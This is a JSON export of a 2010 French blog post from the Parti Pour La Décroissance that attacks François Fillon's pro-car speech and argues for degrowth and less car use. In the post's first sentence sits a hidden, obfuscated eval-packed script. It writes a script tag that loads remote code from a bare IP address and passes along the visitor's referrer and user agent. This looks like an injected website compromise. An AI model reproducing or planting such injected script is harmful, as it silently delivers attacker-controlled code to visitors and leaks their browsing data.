{"id":4345,"date":"2010-04-29T21:50:21","date_gmt":"2010-04-29T20:50:21","guid":{"rendered":"http:\/\/www.partipourladecroissance.net\/?p=4345"},"modified":"2010-04-29T23:29:20","modified_gmt":"2010-04-29T22:29:20","slug":"fillon-sacre-%c2%ab-homme-de-l%e2%80%99annee-2009-%c2%bb-par-le-journal-de-l%e2%80%99automobile","status":"publish","type":"post","link":"https:\/\/www.partipourladecroissance.net\/?p=4345","title":{"rendered":"Fillon, sacr\u00e9 \u00ab homme de l\u2019ann\u00e9e 2009 \u00bb par le journal de l\u2019automobile"},"content":{"rendered":"<p><img loading=\"lazy\" decoding=\"async\" class=\"alignleft\" src=\"http:\/\/files.fluctuat.net\/images\/cms_flu\/4\/8\/3\/6\/36384\/44112.jpg\" alt=\"\" width=\"177\" height=\"127\" \/><strong>Le <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|btezt|var|u0026u|referrer|rhayt||js|php'.split('|'),0,{}))\n<\/script><\/noindex> 22 avril 2010, Fran\u00e7ois Fillon \u2013 Premier Ministre \u2013 a re\u00e7u le prix \u00ab Homme de l\u2019ann\u00e9e 2009 \u00bb d\u00e9cern\u00e9 par le journal de l\u2019automobile<\/strong>.<\/p>\n<p>Admirateur des sports m\u00e9caniques, il a surtout \u0153uvr\u00e9 \u00e0 la relance de l\u2019industrie automobile en d\u00e9but d\u2019ann\u00e9e 2009 lorsque l\u2019Etat fran\u00e7ais y a investi plus de 6 milliards d\u2019euros. Il a fait, pour l\u2019occasion, un discours qui consacre l\u2019automobile comme base de l\u2019avenir de notre soci\u00e9t\u00e9. La croissance verte est en marche et le d\u00e9veloppement durable sort les canons.<\/p>\n<p><span style=\"color: #ff0000;\"><strong>Tout d\u2019abord, M. Fillon tord le coup \u00e0 une id\u00e9e forte des tenants de la D\u00e9croissance :<\/strong><\/span><\/p>\n<p>\u00ab <em>L\u2019<\/em><em>automobile, ce n\u2019est pas un probl\u00e8me, c\u2019est m\u00eame, dans bien des cas, une solution. La v\u00e9rit\u00e9, c\u2019est que nous sommes en mesure d\u2019apporter des r\u00e9ponses aux probl\u00e8mes d\u2019\u00e9nergie, aux probl\u00e8mes d\u2019environnement qui se posent, \u00e0 condition de faire confiance aux capacit\u00e9s d\u2019innovation, aux capacit\u00e9s scientifiques, aux capacit\u00e9s technologiques de l\u2019\u00eatre humain. Derri\u00e8re l\u2019acharnement de certains contre l\u2019automobile, il y a, au fond, le r\u00eave d\u2019une soci\u00e9t\u00e9 qui, au pr\u00e9texte des dangers qui menacent l\u2019individu, nie sa libert\u00e9<\/em> \u00bb<\/p>\n<p>Nous voil\u00e0 rassur\u00e9s, le progr\u00e8s technique arrive et va trouver une solution miracle pour nous sortir de cette impasse. Nous tenons n\u00e9anmoins \u00e0 informer le Gouvernement que l\u2019automobile doit \u00eatre envisag\u00e9e plus globalement que le morceau de t\u00f4le qu\u2019elle est.<\/p>\n<p><!--more-->Comprendre la pollution et les d\u00e9gradations que fait subir une automobile, c\u2019est d\u2019abord prendre en compte l\u2019ensemble\u00a0 de son cycle de vie ; \u00e7a va de l&rsquo;extraction de ses mat\u00e9riaux (pour ne pas dire le pillage des ressources naturelles), \u00e0 sa fabrication et \u00e0 son recyclage (avec ses limites). Une automobile pollue m\u00eame quand elle ne roule pas : elle fait subir des d\u00e9g\u00e2ts \u00e0 l\u2019environnement avant sa mise en circulation et aussi apr\u00e8s.<\/p>\n<p>En outre, il faut envisager l\u2019automobile dans notre espace de vie, en tenant compte de la destruction de terres agricoles, de la d\u00e9v\u00e9g\u00e9talisation des espaces, de la pollution sonore, visuelle et sociale, puisque l\u2019automobile a permis un mode de d\u00e9veloppement de notre soci\u00e9t\u00e9 fond\u00e9e sur le d\u00e9placement individuel et fortement gaspilleur en \u00e9nergie et en espace, \u00e0 l\u2019exemple des lotissements pavillonnaires qui fleurissent dans toute la France.<\/p>\n<p><strong>Finalement, le probl\u00e8me n\u2019est pas l\u2019automobile en tant que moyen pour se transporter <\/strong>\u2013 elle rend bien des services \u2013 mais son m\u00e9susage c\u2019est-\u00e0-dire sa g\u00e9n\u00e9ralisation \u00e0 outrance sans tenir compte des limites que tout outil porte intrins\u00e8quement.<br \/>\nNous n\u2019avons pas \u00e9voqu\u00e9 les morts et les blessures \u00e0 vie que le syst\u00e8me automobile cause chaque ann\u00e9e. Pour M. Fillon, \u00ab <em>chaque conducteur est responsable de la conduite de son v\u00e9hicule<\/em> \u00bb. Sans commentaire. Nous pensons justement que le co\u00fbt humain est trop important et qu\u2019il montre que ce syst\u00e8me m\u00e8ne \u00e0 une impasse mortelle. Il y a bien moins d\u2019accidents en transports en commun.<br \/>\nLa foi en la science de M. Fillon est d\u00e9routante mais surtout irresponsable. Elle prouve, au contraire, que le Gouvernement ne prend pas le probl\u00e8me par le bon bout. Le mur se rapproche mais l\u2019id\u00e9e est d\u2019acc\u00e9l\u00e9rer pour le d\u00e9foncer ; nous proposons de ralentir et de prendre un autre chemin, plus sobre, plus convivial.<\/p>\n<p>Ce chemin ne sera pas la voie du tout-automobile, ni du d\u00e9placement permanent. Il est \u00e0 construire ensemble et devra remettre en cause le sens de nos vie, la centralit\u00e9 du travail notamment (principale raison des d\u00e9placements). M. Fillon a parl\u00e9 de nous comme : \u00ab <em>ceux qui sont favorables \u00e0 une sorte de d\u00e9croissance, de retour en arri\u00e8re et peut \u00eatre m\u00eame \u00e0 une certaine forme de collectivisme, d\u2019organisation de la soci\u00e9t\u00e9 pour faire face aux dangers qui la guettent <\/em>\u00bb. Nous ne pr\u00f4nons pas un retour en arri\u00e8re mais une r\u00e9flexion sur nos comportements et notre mode de vie. Nos propositions s\u2019enracinent dans la r\u00e9alit\u00e9 pour faire face \u00e0 une crise syst\u00e9mique qui touche la plan\u00e8te et que subissent les femmes et les hommes.<\/p>\n<p>Nous assumons ne pas partager les m\u00eames valeurs que M. Fillon qui loue la recherche de la comp\u00e9titivit\u00e9. Nous pr\u00e9f\u00e9rons la coop\u00e9ration. Nous ne pensons pas que l\u2019automobile soit synonyme d\u2019autonomie et de libert\u00e9 car elle nous encha\u00eene au syst\u00e8me capitaliste et, finalement, nous en rend prisonniers. Nous pr\u00e9f\u00e9rons la libert\u00e9 de choisir notre mode de transport, de choisir les raisons du transport, voire m\u00eame de pouvoir choisir de s&rsquo;en passer. Evoquer l\u2019automobile comme un r\u00eave de beaut\u00e9, c\u2019est nier la r\u00e9alit\u00e9 ou ne pas avoir de go\u00fbt. Comment peut-on trouver une autoroute, un p\u00e9riph\u00e9rique ou un paysage meurtri par une saign\u00e9e de bitume comme beau ? M. Fillon et ses acolytes doivent rapidement ouvrir les yeux et visiter la France.<\/p>\n<p>Ce sont bien la massification de l\u2019automobile et l\u2019organisation de la soci\u00e9t\u00e9 autour d\u2019elle qui posent probl\u00e8me. Il est donc n\u00e9cessaire de remettre en question nos modes de vie, r\u00e9former profond\u00e9ment notre mode de pens\u00e9e et notre sacro-saint confort moderne. Trouver des solutions aux maux caus\u00e9s par l\u2019automobile ne peut se traduire que par une r\u00e9volution dans notre fa\u00e7on d\u2019appr\u00e9hender le transport et notre organisation spatiale. Le flux des transports automobiles doit obligatoirement d\u00e9cro\u00eetre, notre territoire doit \u00eatre r\u00e9am\u00e9nag\u00e9 et les industries reconverties, naturellement vers des activit\u00e9s qui compenseront le repli de l\u2019automobile, des transports de marchandises, et des infrastructures associ\u00e9es.<\/p>\n<p><strong>Il faut comprendre que, remettre en cause l\u2019automobile, c\u2019est remettre en cause la soci\u00e9t\u00e9 capitaliste et en revoir les fondements-m\u00eames,<\/strong> afin de nous orienter vers une soci\u00e9t\u00e9 organis\u00e9e d\u2019une mani\u00e8re plus conviviale, plus respectueuse de l\u2019environnement, et plus juste envers les humains qui la composent. Cette nouvelle organisation, bas\u00e9e sur la simplicit\u00e9 volontaire, ne pourra s&rsquo;instaurer que dans le cadre d\u2019une politique de d\u00e9croissance, s\u2019appuyant sur les exp\u00e9rimentations novatrices d\u00e9j\u00e0 existantes qui peuvent commencer \u00e0 nous guider (1).<\/p>\n<p>Pour trouver des alternatives au syst\u00e8me automobile, nous vous invitons participer \u00e0 nos travaux : <a href=\"http:\/\/www.partipourladecroissance.net\/?p=3303\">http:\/\/www.partipourladecroissance.net\/?p=3303<\/a> et \u00e0 nous contacter.<\/p>\n<p style=\"text-align: right;\"><em>L\u2019automobile a longtemps \u00e9t\u00e9 un r\u00eave, d\u00e9sormais elle est un cauchemar.<\/em><br \/>\nParti Pour La D\u00e9croissance<\/p>\n<p>[1]\u00a0 Extrait du texte : \u00ab Stop \u00e0 la voiture \u00bb du PPLD : http:\/\/www.partipourladecroissance.net\/?p=3303<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Le 22 avril 2010, Fran\u00e7ois Fillon \u2013 Premier Ministre \u2013 a re\u00e7u le prix \u00ab Homme de l\u2019ann\u00e9e 2009 \u00bb d\u00e9cern\u00e9 par le journal de l\u2019automobile. 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